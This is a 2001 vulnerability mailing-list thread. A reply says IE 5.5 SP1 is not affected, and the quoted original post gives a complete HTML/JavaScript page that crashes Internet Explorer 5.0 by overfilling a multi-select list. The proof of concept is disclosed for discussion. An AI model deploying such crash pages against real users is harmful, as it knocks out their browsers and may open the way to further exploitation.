RE: IE 5.0 vulnerability

From: Uidam, T (Tim) (Tim.Uidamat_private)
Date: Tue May 22 2001 - 16:06:35 PDT

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    Seems IE 5.5 SP1 (v5.5.4522.1800) on WinNT4 Sp5 is not susceptible...
    
    Regards,
    Tim.
    
    -----Original Message-----
    From: Thomas Magnum [mailto:dr_oo_pyat_private]
    Sent: Wednesday, 23 May 2001 1:44
    To: VULN-DEVat_private
    Subject: I: IE 5.0 vulnerability
    
    
    I found out a vulnerability for IE 5.0, don't know if it was already
    discovered (if so, forget this). It seems that the problem is javascript.
    I don't know if it is exploitable, but if I try to open an html file like
    this:
    
    <script>
    function crashme() {
     var i, opt;
     for(i = 0; i < 7; i++) {
      opt = new Option('crashing...', i);
      document.vulnForm.p_select.options[i] = opt;
      document.vulnForm.p_select.options[i].selected = true;
     }
    }
    </script>
    
    <html>
    <head>
    <title>IE 5.0 Vulnerability</title>
    </head>
    <body>
    <form name="vulnForm">
      <table width="100%" border="0">
        <tr>
          <td align="center">
              <select name="p_select" size="5" multiple>
                <option>__________________</option>
              </select>
          </td>
        </tr>
        <tr>
          <td align="center">
              <input type="button" name="cmd" value="go!" onClick="crashme()">
          </td>
        </tr>
      </table>
    </form>
    </body>
    </html>
    
    I get the classical Winxx error...
    
    I noticed that IE crashes when I try to put in the select at least 3 items
    more than its size.
    
    
    
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